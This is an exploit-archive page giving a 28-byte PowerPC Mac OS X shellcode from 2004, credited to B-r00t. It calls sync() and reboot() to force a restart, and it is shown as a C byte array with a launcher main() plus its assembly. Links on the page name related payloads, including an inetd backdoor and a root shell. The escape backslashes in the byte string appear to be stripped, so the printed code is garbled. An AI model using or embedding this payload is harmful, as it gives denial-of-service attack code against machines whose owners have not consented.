[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : os-x/PPC reboot 28 bytes
# Published : 2004-09-26
# Author : B-r00t
# Previous Title : os-x/PPC add inetd backdoor 222 bytes
# Next Title : os-x/PPC setuid(0) + execve /bin/sh 88 bytes
/*
PPC OSX/Darwin Shellcode by B-r00t. 2003.
Does sync() reboot();
See ASM below.
28 Bytes.
*/
char shellcode[] =
"x7cx63x1ax79"
"x39x40x01x70"
"x38x0axfexb4"
"x44xffxffx02"
"x60x60x60x60"
"x38x0axfexc7"
"x44xffxffx02";
int main (void)
{
__asm__("b _shellcode");
}
/*
; PPC OS X / Darwin Shellcode by B-r00t.
; sync() reboot().
; Simply reboots the machine! - Just 4 Fun!
;
.globl _main
.text
_main:
xor. r3, r3, r3
li r10, 368
addi r0, r10, -332
.long 0x44ffff02
.long 0x60606060
addi r0, r10, -313
.long 0x44ffff02
*/
// www.Syue.com [2004-09-26]